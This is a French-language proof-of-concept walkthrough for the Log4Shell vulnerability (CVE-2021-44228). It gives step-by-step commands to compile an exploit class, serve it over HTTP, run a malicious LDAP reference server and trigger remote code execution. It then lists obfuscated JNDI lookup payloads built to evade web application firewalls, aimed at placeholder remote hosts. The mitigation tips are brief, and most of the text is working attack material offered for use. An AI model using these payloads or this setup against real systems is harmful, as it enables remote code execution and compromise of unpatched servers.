
Preuve de concept d'exploitation pour Log4Shell (CVE-2021-44228) démontrant l'exécution de code à distance via l'injection JNDI, incluant la compilation de la charge utile, la configuration du serveur LDAP et les techniques de contournement du WAF.
Les versions 1.x présentent d'autres vulnérabilités, nous vous recommandons de mettre à jour vers la dernière version.
Bulletins / Avis de sécurité liés à Log4Shell (CVE-2021-44228)
téléchargez ce projet, compilez le code d'exploitation blob/master/src/main/java/Exploit.java, et démarrez un serveur web permettant de télécharger le binaire compilé.
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# démarrez le serveur web
# Pour Python2
python -m SimpleHTTPServer 8888
# Pour Python3
python3 -m http.server 8888
# assurez-vous que le serveur web python s'exécute dans le même répertoire que Exploit.class, pour tester
curl -I 127.0.0.1:8888/Exploit.class
téléchargez un autre projet et exécutez l'implémentation du serveur LDAP renvoyant des références JNDI https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 requis
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
compilez et exécutez le code d'activation (simule une attaque log4j sur un serveur web Java vulnérable) blob/master/src/main/java/log4j.java, et votre application calculatrice apparaîtra.
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# attendez-vous à ce qui suit
# 1. l'application calculatrice apparaît
# 2. dans la console ldapserver,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. dans la console webserver,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
Conseils :
Ne comptez pas sur une version actuelle de Java pour vous sauver. Mettez à jour Log4 (ou supprimez la recherche JNDI). Désactivez l'expansion (cela semble de toute façon une très mauvaise idée).
Par exemple :
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Ne faites pas confiance au pare-feu d'application web.
Les recherches (Lookups) offrent un moyen d'ajouter des valeurs à la configuration Log4j à des endroits arbitraires.
Les méthodes pour provoquer une fuite dans finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()
Si vous souhaitez effectuer des tests en boîte noire, je vous suggère de faire une analyse passive.
Amusez-vous bien !!!
